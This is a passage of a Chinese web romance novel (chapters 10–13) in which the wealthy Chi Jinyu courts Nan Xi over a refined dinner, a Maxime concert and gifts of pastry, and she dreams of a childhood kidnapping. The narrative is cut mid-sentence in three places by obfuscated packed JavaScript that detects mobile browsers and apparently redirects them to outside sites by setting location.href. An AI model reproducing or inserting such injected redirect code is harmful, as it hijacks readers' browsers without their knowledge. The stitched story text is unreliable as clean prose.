怔然中,南惜忽然听见背后低醇的男声:“想什么?” 她平静地回神,换了只手托腮:“之前一直在找这样的院子。” 池靳予说:“二环内挺多,虽然不少都开会所了,但私人闲置的找一找也会有。” 价格贵,普通二进院,不带装修的老院子就上亿,但他没说。钱对他们来讲不是问题。 “几百平够干什么啊。”南惜看着水中的鱼儿,“这院子就太小了,只能算精致,苏式的,像拙政园那样才大气。” 池靳予望着她微微仰起的后脑勺,眼眸稍眯了眯,没说话。 “可京城市中心哪有那么大的,只能想想了。我又不爱住郊区,爸妈那边出来逛个街都要好久,开车累死人。”南惜兀自叹了声,仿佛把他当成一个朋友倾诉,许是夜晚静谧,风景宜人,卸下了白天的疏离防备。 “大概只能去苏州买了,听说那边的小区都有园林,虽然不能长住,偶尔去度个假,也不错。” “嗯,知道了。”身后飘来不甚清晰的一句。 南惜没太听明白,疑惑地转过头:“什么?” 男人低下的视线,像星子落进她眼里:“我说,我知道了。” 10. 第 10 章 脑海里晃过一个荒唐的念头,被她理智压下。 鱼吃饱了,她有点饿,手放在胃部抬眼问:“能吃了吗?” 池靳予回过头,屋里正上前菜。 他看着她捂肚子的动作,和带着点儿可怜的娇憨表情,温和笑了下:“进来吧。” 绿叶点缀在白瓷浅盘上,玻璃杯盏置于浅盘中央,这道前菜有个好听的名字——春盏。 香椿嫩芽,芒果青豆,和空运而来的新鲜加拿大带子,看似不相关的几种食材,碰撞出令人心驰神往的色泽和香味。 另一道名叫“一枝春”,是鲜甜柔嫩的头茬白芦笋。 紧接着又端来两只春卷,铺陈在翠绿青草上,点缀着粉色的小花。 菜品分量都不大,贵在精致,摆盘太考究,每份都像艺术品似的。 而这样的艺术品,到最后几乎摆了整桌。 南惜吃得满足,又没有撑到胃,一切都是恰到好处。 饭后甜点是晶莹透亮的牡丹水晶糕,每一片花瓣的纹理都被雕刻得栩栩如生。 仿佛它就是一朵透明的牡丹花,漂浮在淡粉色水面上。 南惜差点舍不得吃,但还是尝了。 入口即化,清甜芳香,占据味蕾的那一刻,像一场梦误入桃花源。 这顿饭不止是味蕾盛宴,更是视觉和心灵的洗礼。 她的交友圈和池昭明高度重合,大多是玩咖,混迹于酒吧会所那些地方。偶尔去宴会吃的也讲究,但没有这种程度的讲究。 池靳予带她体验的,是极致的雅。 窗外水波潺潺,灯火如昼,南惜想起祁玥常挂在嘴边的话——美食,美器,美景配美人。 她不自觉往对面抬了眼,正好撞入那片不见底的棕。 他好像也成为秀色可餐的一部分。 走出院落的时候,南惜特意回头,瞧了一眼门口的牌匾,木刻的字体方方正正——四时宴。 如今正好是初春。 车被开到会所门前,池靳予再次为她打开车门。 库里南的星空顶在夜晚更璀璨。 他送她回盛荟停车场,在无比招摇的紫色法拉利旁边,库里南显得愈发沉稳。 下车后,她对着车窗十分感激地说谢谢您。 男人意味深长地看了她一眼,南惜觉得光太暗,没读懂那个眼神。 法拉利车门打开,池靳予忽然叫住她:“南小姐。” 隔着一个副驾驶的距离,降下的车窗遮不住男人眼底深邃的光。 分外低沉的嗓音像一把小锤子,敲震她心口:“怎么了?” 池靳予望着她,很认真:“结婚的事,你愿意考虑吗?” 南惜手指攥了攥裙子,他又说:“我知道叔叔拒绝了,但我还是想亲口问你。” “池先生。”南惜仰头看向他,态度礼貌却疏离,“我跟您弟弟是有感情的。” 难以捕捉的一个瞬间,他眼光似乎黯下来,但很快恢复冷静:“过去的事我不介意,我可以等。” “您误会我意思了。”南惜笑了笑,“我和池昭明谈婚论嫁,是因为我们之间有感情,所以……” 她不想接受一段随意提起的丝毫没有感情基础的婚姻。 她知道这个想法很天真,但哪怕联姻,她也想找个三观合适,各方面相处融洽的。 至少现阶段,她和池靳予还不熟,不了解他的生活方式,兴趣爱好,以及更深层次的品格。 “我明白了。”男人勾了下唇,眼中几乎没有笑意,“南小姐,再见。” 说完他升起了车窗。 南惜轻轻舒了口气,坐进车里,陡然从SUV换到跑车,空间和高度都让她不太习惯。 库里南依旧停在旁边,没开走。 她看不见里面的人,只能望着黑色车窗,想象那只骨骼精美的手握着方向盘的样子,又无端想起他站在四合院门口,贴着她肩膀的手腕温度。 明明只是一瞬间的感觉,在记忆里却清晰得过分。 南惜拿出手机,编辑微信:【今天多谢您款待,也谢谢您送我过来。】 虽然他礼节性说了再见,但以后应该都不会再见了吧。 这个站在北京城的金字塔尖,哪怕众口铄金,也不影响他地位分毫的男人,怎么会有耐心和时间,慢慢等一个女人了解他,接受他。 他也没必要这样。 南惜扯了扯唇角,启动车子,闯进夜晚汹涌的车流。 * 池靳予一直看到她离开,才驱车前往铂锐资本大楼。 薄慎今天在加班,万万没想到有人来接他。简直是三生有幸,玉皇大帝般的待遇,值得在圈里骄傲一辈子。 他可是池靳予亲自,开车,接过的人。 早些年,两人在英国读大学玩赛车那阵儿,薄慎有幸坐过几次他开的车。但回国接手企业后,配了司机,他就再没碰过方向盘。 当然,没有人为薄慎开车门。 薄慎绕车转了一圈,自己钻进副驾,打量着全新的内饰,啧啧两声:“刚提的?” “嗯。”池靳予没什么表情地驶出停车场。 “你不是嫌这玩意儿浮夸吗?什么时候喜欢这调调了?”薄慎仰头看了眼星空顶,表情见鬼了似的又看向他,“池靳予,你有问题。” “你才有问题。”男人扯了下唇,嫌他聒噪,“帮我关了,谢谢。” “噢。”薄慎在一堆控制键里找了找,按下去,车顶的星星终于灭了。 两个大直男,都觉得这环境正常了些。 池靳予送他回去,车停在别墅门外,没急着催他下,语气轻飘地说:“马克西姆的演奏会,帮我弄两张VIP。” 薄慎瞳孔在黑暗中一震:“什么?” 池靳予手搭在方向盘上,深沉目光望向他,显然没打算重复。 薄慎也不需要他重复,只是太过震惊。 “帮-你-弄-两-张。”他认真分析他的话,“这意思,不是咱俩去?” 池靳予扬了扬下巴:“我有病吗我和你去?” “确实。”薄慎啧了声,“那他们不光传你又老又丑还不行,还得传你是个gay,顺便搭上我宝贵的名声。” 池靳予望着他,略带玩味:“名声?你有?” 薄慎嘴角一抽蹦出个脏话:“……操。” 薄慎的确是花名在外,两个人难兄难弟,都毁在了如今病毒式传播的虚假八卦上。 一个不行,一个太行。 其实他长这么大,连女人手都没摸过。 池靳予看看时间,赶他下车。 薄慎下去后又折返过来叩了叩车窗:“喂,我车在公司,你管接管送,明天早上来捎我上班!” 池靳予瞥傻子似的瞥他,车窗降下来:“你那辆拉法送我。” “……滚,土匪。”薄慎扭头进大门。 * 从停车场离开后,南惜第三次看手机。 红绿灯一次,在地库停好车一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276985|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进家门后又看了一次,那条微信依然没有被回复。 她想,应该不会再有回复了。 两百多平的乐器房中央是一架白色三角钢琴,靠墙的柜子里摆放着一些她收藏的吉他,小提琴,古筝二胡之类的小乐器,每样她都会一点皮毛。 钢琴和古琴弹得最多。 博古架前的梨花木地台上,摆着一架落霞式七弦琴,通体红色,间以略深的复古纹路,是唐代著名斫琴大师的作品,背刻铭文中还有皇帝亲笔。但许久未调弦了。 这间琴房她都许久没进过,只是今天忽然觉得浮躁,便坐到了琴凳上,寻几分安定。 熟悉的曲子,流水般的琴音从指尖倾泻,背后半圆形的落地窗外,万家灯火都模糊成光亮的斑点,沦为她此刻的陪衬。 南惜的漂亮在京城乃至全国,都找不出第二个。 祁玥年轻时是四九城第一美人,母亲来自苏州名门世家,因此糅合了几分江南气韵。南俊良也是当年港岛首屈一指的俊朗。 祁书艾说,她的容貌是两代人强强联合,把地域优势都占全了。连基因序列都像精心挑选搭配过的,什么都刚刚好。 《克罗地亚》是她最喜欢的曲子,当年正因为马克西姆这首旋律,她下定决心要学钢琴。 哪怕难度不大,在专业演奏面前就是小儿科,后来她会过更难更高的技法,还是钟情于这一首。 最后一个音符落下,手机屏幕也同时亮了。 南惜抬眸看见微信消息迅速闪过。 池靳予:【别客气。】 【到家了吗?】 她拿过来,故意等了片刻才回复:【到了。】 对方倒是秒回:【刚忘了提醒你,最近出门要小心。池昭明还在休病假,我暂时没法给他安排工作。如果有需要随时叫我。】 南惜心想她可以报警的,如果池昭明敢太过分。 但还是礼貌地感谢他好意:【知道了,谢谢您。】 池靳予:【南小姐,我们是平辈。】 南惜诧异地抬了下眼皮:【啊?】 池靳予:【你没必要对我用敬称。】 南惜垂下眼来:【抱歉,习惯了。】 不太熟,就得用敬称,态度不能随意,言语不能冒犯,更何况他大她几岁。这是从小被外婆耳提面命,刻进骨子里的。 她是被南家捧在手心的娇贵公主,但礼节和教养来自京城祁家,只在父母亲人面前才放肆。 以前多一个池昭明,但现在没有了。 池靳予:【那我们算认识了吗?】 南惜忍不住弯起唇角:【算。】 回复完,她点进他名片,把备注改成“池先生”。 她从不轻易给列表里的人特别备注,除了家人和比较亲密的朋友。 随便加上的,随时也能断掉联系,没必要费这个事儿。 池先生:【明晚有空吗?】 南惜脑袋里嗡一响:【有啊。】 池先生:【马克西姆的演奏会,晚上七点,想去吗?】 错愕的目光落在黑白琴键上。 满室安静,她听见一声突兀的心跳。 是巧合吗? 她昨天看票时已经卖光了,因为之前听过很多次,就没太执着去想办法。 她问:【您有票?】 池先生:【朋友送了两张,如果你不想去,票可以给别人,我们另作安排。】 南惜手比脑子快,飞速敲出一个字:【去。】 11. 第 11 章 池先生:【好,我明天晚上来接你。】 南惜冲动过后,看着屏幕上的对话,总觉得哪里不对劲。 像睁着眼睛跳进一个坑。 她摇头,甩掉这种奇怪的想法。 * 第二天,南惜挑了件芋泥紫色修身长裙。面料是五位数一米的织金云锦,由外婆相熟的江南裁缝手工缝制。据说祖上是宫廷御用裁缝,专做龙袍的,许多手艺代代相传,都不足为外人道。 云锦色泽沉稳又奢华,自带东方贵族独特的底蕴,目之所及,皆为黄金。却被裁剪成年轻俏丽的裙装款式,半点也不显老气。 化妆师看得挪不开眼:“这衣服也就南小姐能hold住,太挑气质了。” 南惜笑了笑,当是回应,手机上池靳予发来信息:【刚开完会,还有点工作,大概六点到。】 现在才四点多。 她回了个好字,看向桌上备选的首饰盒,都是成套的独家设计款:“我戴珍珠还是玉?” 化妆师专心给她卷着发:“您戴哪个都好看,挑喜欢的就好。” 熟悉的化妆师不会给她提意见,知道提了也没用。她总有一套自己的想法,美商在圈里也是拔尖儿的,能给自己搭配得不落俗套。 只是她有点选择困难症。 好东西太多,实在挑不过来。 “就这套南洋金珠吧。”南惜满意地拿到手里,稀有的浓金色珍珠,颗颗纯净光洁,毫无瑕疵,手感如丝绸般润滑,“奶奶送我的二十岁礼物。” 更昂贵的维纳斯澳白她也有,但这颜色更配她此刻的妆容和裙子。 化妆师笑了笑:“今晚的约会一定很重要。” “不是约会。”她一本正经地解释,“是我最喜欢的钢琴家的演奏会。” 每次去马克西姆的演奏会,她都会特别用心打扮,这次也不例外。 唯一不同的是这次有人陪她。 池昭明和她相识二十年,恋爱三年,从来没陪她听过。说这种高雅的东西他欣赏不来,去了也是浪费时间,好像他时间挺宝贵似的。 其实他自己也总在虚度光阴,说白了不愿意陪她。 镜子里眸光闪了闪,南惜压下念头,不再想那个晦气玩意儿。 脑中却闪过池靳予那张清俊儒雅的脸。 凤眸微微垂下,带着点柔光。 他的时间才宝贵。 对他们这种人来说,最不值钱的就是钱,只有时间和心意难得。 * 池靳予说了六点,分秒不差,六点准时给她发信息:【我在云宫地库。】 南惜对着镜子三百六十度转身,最后检查了一遍衣服首饰和妆容发型,才出门。 专属电梯直下地库。 云宫是顶级安保,地库大门人脸识别。即便池靳予这样的身份,没有业主同意,也只能在门外停车区等她。 南惜边走向不远处那辆熟悉的库里南,边悄悄打量副驾驶门边的男人。 面料考究的黑色西装,带着若有似无浅咖色暗纹的白衬衫,配一条蓝棕交织斜纹领带。 腕间百达翡丽的表盘莹莹发光,南惜发现他左手食指还戴了只素圈。 身高腿长,挺拔贵气,可站在这里好像专程等着为她开门的侍者。 突然又想起昨天他站在车门后的样子,不禁脑补出骑士和公主,南惜晃了晃神,连忙摁住荒唐的念头。 地库明亮如大堂,头顶格栅的柔光灯洒在女孩身上,池靳予有点分神。 直到她礼貌地叫了一声:“池先生。” “嗯。”他轻轻勾唇,完美掩藏住回神的窘迫,“你今晚很漂亮。” 南惜蹙了蹙眉。 平时不漂亮吗? 池靳予似乎没留意到,打开车门请她上去。 南惜坐进副驾驶,拉安全带的时候嘴唇还嘟着。 他坐好后朝这边瞥了一眼,像在思索什么,随即了然地启动车子。 星空顶又亮起来。 南惜发现他是真喜欢,每次都要开。祁景之那么骚包都只偶尔开开,亮个氛围,说看久了会视觉疲劳。 她昨天就想问,现下终于忍不住问了:“您很喜欢这个星空顶吗?” 男人搭上方向盘的手一顿,指尖扣紧,嗓音略微滞涩:“你不喜欢?” “不是啊。”南惜笑盈盈,“喜欢的。” 就是她上车,祁景之才会给她开。 池靳予松开指尖,嘴角不着痕迹地上扬几分:“喜欢就好。” 南惜没深想,低下头查路线,看是否堵车。 冷不丁的,驾驶座那边飘来一句:“我说你今晚漂亮,和你一直都漂亮并不矛盾。” 她脑袋嗡了嗡,不可置信地看过去。 等地库栏杆升起的时候,池靳予同时转过来,直勾勾地,攫住她轻晃的眼神。 心脏好像被捏了一下,她感觉不到自己的心跳。 * 导航中间拥堵的红色,让她从出门就担心会赶不上。 可池靳予完全没按照导航走。 库里南走街窜巷,导航一直跟着他选的路线在变化,他脑子里好像有一张连高德都不知道的神秘地图。 除了目的地附近一小截避不过去的通行缓慢,半小时后,顺利抵达演奏会现场。 开场前,南惜去了趟洗手间。 她对着补妆区的镜子涂口红,一墙之隔的走廊外出现一个陌生男人的声音:“谁啊那是?我可看见了,你跟一姑娘一块儿来的。” 池靳予淡声答:“朋友。” 南惜刚把口红装回包里,脚往外踏了一步,又缩回来。 “少来,你除了我还有能一块儿看演奏会的朋友?而且你什么时候看过演奏会?还跟一姑娘。”男人嗤笑了声,“池靳予,藏得够深啊,找我弄票就为了她?” 池靳予不落下风,淡淡怼回去:“所以你又弄张票,是为了跟来八卦我?” 那人噎了噎,语气僵硬:“我这是瞻仰艺术。” “得了吧,我还不知道你。” 难得听池靳予插科打诨,对方应该就是铂锐资本的薄慎。南惜听爸爸提过,此人表面看着不太靠谱,但工作能力没得挑。 原来池靳予的票是他帮忙弄的。 铂锐一直在做国内顶尖艺术场馆的投资,能弄到VIP不奇怪。 紧接着,南惜又听见薄慎八卦的嗓音:“真背着我交女朋友了?” “注意言辞,别胡说八道。”池靳予警告他,再次严肃地强调:“只是朋友。” 薄慎明显不信,拖长音“哦”了一声。 他急于撇清关系,她本该如释重负,却莫名觉得呼吸滞涩,心口像被什么东西给堵了。 这么听墙角也实在可笑,南惜对着镜子调整好表情,施施然走出去。 蓦地,前方传来一声:“还在追。” 她身子一僵,仿佛被钉在原地。 池靳予:“所以一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14276986|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿管住你的嘴,别让她尴尬。” “卧槽。”薄慎没忍住爆了句粗口。 池靳予以为他是骂自己,用看白痴的眼神瞥他,瞧那没见过世面的样。 下一秒,才发现薄慎那没见过世面的白痴目光其实落在他背后。 池靳予转过头,望进一双微颤的泛着水波的凤眼。揣在裤兜里的手攥了攥,表情压得平静,沉稳:“进场吧。” 他脚步没动,目光清润,像在等着她过去。 南惜竭力摁住不听话的心跳,走到他旁边。 属于成年男性的蓬勃气息,略高的体温,和他身上独有的那种淡雅香气,好像瞬间夺去她引以为傲的理智,大脑和呼吸系统有些紊乱。 因为他刚才那句话,南惜整个人都不对劲。 脑袋像隔了层膜,听见薄慎压低的嗓音:“这不是你弟妹吗?玩儿挺花啊。” “以后不是了。” 薄慎没和他们挨着坐,不知道是没弄到票,还是有意隔了两排。 但斜后方那道目光实在太火热,南惜觉得浑身不自在。 好兄弟母胎单身快三十年,头一次追女生,薄慎一时激动难抑。 直到手机震动,收到自家兄弟无情的警告:【再看,眼珠子给你挖下来。】 薄慎:【……】 【你是不是先解释一下?】 池靳予:【你这么能八卦,还用解释?】 薄慎:【我是说,为什么是她?】 【你信不信祁景之杀了你?】 池靳予:【我不会给他机会。】 薄慎:【艹,来真的?】 池靳予没再回复他。 手机静音放到旁边,他认真看向身侧的女孩。 她似乎有些拘谨,但即便这样也姿态优雅。 雪白修长的脖颈掩在精致的花瓣立领中,有种引人遐思的神秘,分明那里也没什么,偏偏能让人口干舌燥,不敢直视。 “我不知道他来。”池靳予转头望向前方,低声解释,“如果不高兴,你可以不用搭理。” 南惜轻声笑了下:“没不高兴。” 她刚才的面无表情只是在走神。 池靳予说在追她,她还没缓过来。 这个圈子她早已冷眼看够。 那些世家公子哥,日常攀比除了车就是女人。而女人往往还不如车。 妞嘛,泡泡就完了,太认真是很丢脸的事。会被兄弟们耻笑,他们这种身份怎么能让女人拿捏。 池昭明总让她给他点脸面,作为女朋友,在外面不要太忤逆他。叫她乖一些,便是从那时候,和那些人称兄道弟开始的。 倒也出过几个痴情种,可真痴情的,干干净净的,早就不在这圈里混了。 她快要对身边这个肮脏龌龊的环境麻木,虽然她也未曾深陷其中,只是为将来难免要和这帮人联姻的女孩们悲哀。 直到这个男人,轻描淡写两句话,好像在她眼前这片阴暗沼泽里投下清光。 “还在追。” “别让她尴尬。” 他认真的模样又浮现在脑海中。 礼堂寂静,耳畔传来低沉的气音:“上次说过,请你给我一个公平的机会。” 南惜醒过神,半边身子毫无预兆地发软。 池靳予倾身过来,胳膊搭在座位中间的扶手上。呼吸在她耳垂几公分外,危险地停住,并没有突破暧昧界限: “南小姐,我能有这个荣幸吗?” 12.第 12 章 南惜怔怔地望过去,又触了电似的躲开那道过于真挚的目光。 这陌生得令她心慌的真挚。 池昭明没追过她。 两个人青梅竹马,大家都知道他们是双方家长默认的关系。 到了可以恋爱的年纪,池昭明逢人就说这我媳妇儿。从开玩笑,说着说着就变成真的。 南惜一开始也别扭,觉得这段恋情太过顺理成章,好像差了点什么。但他会哄,私下里把她哄得心花怒放,渐渐地,也就不计较许多细节。 他不会带她去精致的私厨,都是呼朋唤友拉她作陪,不会留意她多看了一眼什么,就特地送到她面前,更不会那么耐心地为她开车门,放下身段低下头,把她当公主一样对待。 曾经她觉得这样才特别,所有人把她当公主,只有池昭明把她当女孩。 可如今回想,处处都是难以言明的委屈。 南惜默默的鼻头泛酸。 她似乎从来没有被这样认真地,郑重地,充满仪式感地对待过。 她呆滞的视线落在男人食指的素圈上,跟着那缕光颤动。 池靳予察觉到她变化的情绪。 “如果觉得结婚太快,可以先试着了解我。”顿了顿,他解释:“我没有催你的意思,更没有逼迫,你不要有压力。” “嗯。”南惜舒了口气,抬头对他笑,“谢谢您。” 哪怕不因为喜欢,他也让她感受到了被尊重,但又不刻意。 仿佛他本就是这样。 魏亦铭说他是个磊落的人,南惜突然觉得这形容十分贴切。 那个暧昧不明的晚上,那些她醉酒失态的言行,他从来没有拿出来调侃过一次,更没有以此牟取一丁点交往的便利。 哪怕他说一句“我们都是亲过抱过睡过一张床的关系,还矜持什么”,在如今的快餐式社会,在这个男女关系肮脏混乱的圈子里,也司空见惯。 但他没有。 演奏会开始,短暂的交流也自然中止。南惜无比安静地享受这场视听盛宴。直到临近结束的时候,池靳予离开了一会儿。 观众准备离场,南惜收到他微信:【抱歉,有点事,在大厅等我。】 【外面冷,不要出去。】 她心口微微一暖,回复:【好。】 起身时薄慎叫住她。 隔着两排座位,指了指左侧:“南小姐,这边。” “嗯。”她点点头,往那边走去。 南惜来过这里,知道VIP散场通道怎么走,薄慎还是在前面引路。 可能池靳予交代过,他没像开场前那么多话。除了问她一些对演奏会和场馆的体验评价,全是站在主办方的角度,听取她意见。 之前那点尴尬也随着相谈甚欢的气氛消失了。 薄慎是个既健谈又有分寸的人,只要他有心,就不会让别人尴尬。 两人站在大厅的宣传海报旁边,又聊起西方音乐发展史,直到池靳予从角落那扇门出来,旁边跟着个外国人,他微微点头似乎在道谢,那人笑着回门内。 然后池靳予朝他们走来,手里拿着什么东西。 等他走到面前,向她抬手,南惜一眼愣住。 “留个纪念。”他没解释,只把东西递给她。 南惜怔怔地接过,宛如千斤重量压在手心。 精装版黑胶碟片,上面有偶像的亲笔签名。 这款碟片她知道,是周年限定特别录制,只送不卖。南惜当初托了很多朋友,都没能搭上关系。 她开口说谢谢,紧跟着薄慎一句“卧槽”:“你去都去了,不能要两份?” 池靳予淡淡瞥了他一眼:“你听得懂吗?” 薄慎哑然。 他今天就是来八卦的,听得懂毛线。 于是也没坚持,问他俩:“怎么走?” “你走你的。”池靳予毫不客气地赶他。 “没想当灯泡儿。”薄慎弯了弯唇,朝南惜抬手挥挥,“再见,妹妹。” 池靳予:“谁你妹妹?” “祁少的妹妹,不就是大家的妹妹么。”薄慎说完跑得飞快,像是怕挨揍,“溜了。” 池靳予被他这副模样逗笑了,收回目光,勾唇望向女孩微垂的头顶:“我们也走?” 南惜捧着碟片,嗓音轻快:“好。” 走出礼堂大门,扑面而来的冷风叫她不自觉缩了缩身子。 池靳予抖开臂弯里的西装外套,搭在她肩膀上。 她薄而瘦的身躯瞬间被男人的体温裹卷,那股熟悉的味道又扑向鼻间。 南惜低下头,目光下意识落在他双腿。 笔直修长,矫健有力的样子,和记忆中那个人截然不同。 男人沉声问:“怎么了?” “没事。”她拢紧外套朝他笑,“谢谢您。” “走吧。”他腕骨轻轻搭了下她的肩膀,隔着外套,“天冷,早点回家。” 南惜心口忽然一颤:“好。” 回到车里,身子依旧拢在西服中,脸颊一阵阵发热。南惜告诉自己是暖气烘的,肯定不是因为其他。 池靳予专心开车,没有回头,也就没发现她白里透粉的脸色。 南惜把车窗开了点小缝透气,等那阵燥热在微风中缓下来,安安静静地玩手机。 突然,一道特别的提示音震得她脑袋嗡了嗡。 是家里门锁的监控APP,提示有人在地库按门铃。 她打开摄像头一看,地库门禁外赫然是池昭明那张讨厌的脸,倏然放大,又挪远,最后守在旁边,似乎没打算走了。 “他来干嘛。”南惜忍不住嘀咕出声。 池靳予听到动静回头:“怎么了?” 南惜烦躁地摁灭手机:“池昭明守在我家地库。” 男人握方向盘的手指微动,昏暗中骨骼依稀攥紧了几分,唇线抿直,半晌才开口:“我陪你上去,还是送你回龙湖?” 现下她没心情应付池昭明,更不想把池靳予卷进来,转头看向窗外:“回龙湖吧。” “好。”男人应了声,没再多说。 绕了点路,开到一条胡同里,池靳予把车停下。这次没让她下去,只说等等。 南惜有点好奇地探出头,追向他走入四合院的背影。 车窗没对着大门,南惜看不见院内景观,只有一串古色古香的红灯笼高高支起来,像古装剧里的饭馆客栈。门口青铜色檐铃在风中作响,伴着中年女人温柔的话音: “来得正好,刚出锅。” “有劳了。”这句是池靳予说的。 他打开后座车门,把手里拎的东西放上去,南惜回过头,光线昏暗,只瞧见一个盒子轮廓。 很快,车内弥漫起糕点的香味,南惜下意识瞄了眼开车的男人,忍着没问。 既然他没说,也不一定是给她的。 一路上,胃里的小人被勾得不上不下。她甚至荒诞地想,如果池靳予这盒糕点不给她,追她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285502|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事儿,这辈子就免谈了。 但又觉得这想法太幼稚,索性歪过头假寐。 晚上没怎么堵车,到龙湖还是用了四十分钟。池靳予以为她睡着,车速不快。 严叔打开大门,库里南直接停到主楼地下。 空旷的私家车库足足一千多平,只停了一辆迈巴赫普尔曼,一辆南惜很久没碰过的帕拉梅拉,和被祁景之打入冷宫的几辆超跑。 幻影不在,代表祁景之没回家。 南惜悄悄松了口气,不知道自己在心虚什么。 直到池靳予不负众望地打开后座车门,她两眼瞬间溢出了光。 方方正正的木质保温盒,雕花精美,香味四溢。 他递到她手中:“吃不完放冷藏,下次记得加热,最多保存24小时。” 南惜胃里的小人在欢呼,心脏也跟着雀跃。 习惯性要说“谢谢您”,却仿佛被他看穿,磁沉嗓音抢在她前面:“不用谢。” “哦。”南惜压不下上扬的唇角,抱着满怀香气,连眼底都在笑,“那您慢走,路上小心。” 池靳予深深看了她一会,似乎对这个不再客气疏离的笑容很满意。直到她有点难为情的迹象,才勾着唇,转头进了驾驶座。 按下按钮,车门在他面前匀速合上。 南惜镇定下来,礼貌地看着他,送客。 最后一点缝隙消失前,她恍惚捕捉到一抹温润明亮的目光,像有无边浓情,潮水般席卷过来。 但很快被掩入紧闭的车门中,恍如错觉。 一定是错觉吧,她想。 目送车尾灯消失在地库门口,南惜抱着食盒走进电梯。 严叔笑呵呵在一楼迎她:“大小姐约会回来了?” 这老头一定从监控里偷看了。 南惜脸颊莫名升温:“不是约会。” 严叔看向她手里木盒:“哟,还有礼物。” “您要吃吗?”南惜大大方方抬起来,往餐厅走。 严叔笑眯了眼:“池家大少爷送的,我哪儿配吃啊。” “吃点儿吧,我一个人吃不完,明天就坏了。”南惜把东西放餐桌上,还怪沉的,舒一口气,“叫陈阿姨过来一块儿吃。” 爸妈今天在新西兰,祁景之工作日如无特殊都住城里,龙湖这边就她和管家严叔,保姆陈阿姨,以及二十几个帮佣。 这会儿帮佣们都睡了,主楼里安静得过分。 陈阿姨把糕点装盘,用的是南惜最喜欢的那套青花瓷碟。南惜拍了几张照片给池靳予:【谢谢,糕点很漂亮,也很美味。】 这句话没有带“您”。 池靳予回家停好车,看见消息的时候,表情愉悦。 南惜洗完澡才收到他回复:【喜欢就好。】 她坐在落地窗前的吊椅中,牛奶般的肌肤裹着烟紫色真丝睡衣。屋里开着暖气,她只穿一件吊带,笔直莹白的腿慢悠悠晃动。 她没有再回池靳予消息,不知道该说什么,以为今天的话题到此为止了。 刷着朋友圈,几分钟后,他的头像又随着微信提示音,在屏幕上一闪。 南惜点进消息框。 池先生:【如果想出去玩,可以和我说。】 南惜下意识发过去一个:【?】 这次他回复的语音:“不是开车累?我来接你。” 寂夜沉沉,略微低哑的嗓音仿佛穿过黑暗,劈开窗外清冷摇曳的风,温柔又强势地灼烫她耳朵。 13.第 13 章 这晚南惜睡得十分煎熬。 她很久没做过这个梦,在暗无天日的破房子里,鼻腔充斥着霉腐的气息。 地上很冷,她只能靠着旁边的人取暖,身上还裹着他唯一一件外套。 她问他会不会冷,少年冻到发哑的嗓音安抚她:“哥哥是男孩儿,不怕冷。” 很久之后她才知道,男孩儿也是怕冷的。 池昭明就会在冬天把自己裹成个粽子,还会把冰凉的手塞进她羽绒服帽子下面,哆嗦着不敢拿出来。 她梦到记忆中少年无法移动的双腿,梦到被他用椅子敲晕倒在旁边的人贩,梦到他第一次也是唯一一次发脾气吼她,叫她跑。 她不要命地往前狂奔,直到筋疲力竭,满头大汗地醒来。 皮肤闷得透不过气,每一个细胞都像是缺氧。南惜关掉房间暖气,打开窗帘。 天空漆黑一片,有小雨滴在窗玻璃上,一点一点地汇成水流。不远处两串模糊的光亮,是庄园主干道的路灯,彻夜通明。 南惜望着那一片照亮黑夜的孤灯,突然想起魏亦铭形容池靳予的话——孤独,又转念将它驱出脑海。 深更半夜想起一个男人,不是好事。 她继续望着光影,把头脑放空,久久失神。 直到暖气散尽感觉到凉意,才去衣帽间里披了件薄绒外套,下楼。 噩梦消耗太多,她有些饿了。 陈阿姨在厨房做早餐。 但凡主人在家,陈阿姨都是三四点起床,准备一顿精致营养的早餐。 “阿姨我没什么胃口,别熬汤了。”南惜没骨头似的靠在岛台边,接了杯水喝,“做牛肉面吧,我想吃辣。” 陈阿姨惊讶:“一大早吃那么油腻?” “嗯。”南惜没给商量的余地,坐上高脚凳,旋过身,把手机放到支架上刷视频。 祁书艾这两天没更新,不知道又在憋什么大招。 “你起这么早。”陈阿姨一边和着面,一边小心地看了她两眼,发现她脸色不好,“是不是又做噩梦了?” 南惜趴在岛台上沉吟了声。 陈阿姨十八九岁来南家做保姆,一晃就二十年了。南惜也从一个奶娃娃长成大姑娘,看在眼里,跟自己闺女差不多。 陈阿姨望着她清瘦疲惫的身影,满眼心疼:“要是没遇着那事儿就好了。” “都过去了,我都多少年没梦到过了。”南惜换了个无脑搞笑的视频博主。 确实好多年了,她都快忘了五岁时被掳走的经历,直到那天,从池靳予身上闻到熟悉的气味,那段过往才又被唤回记忆浅层。 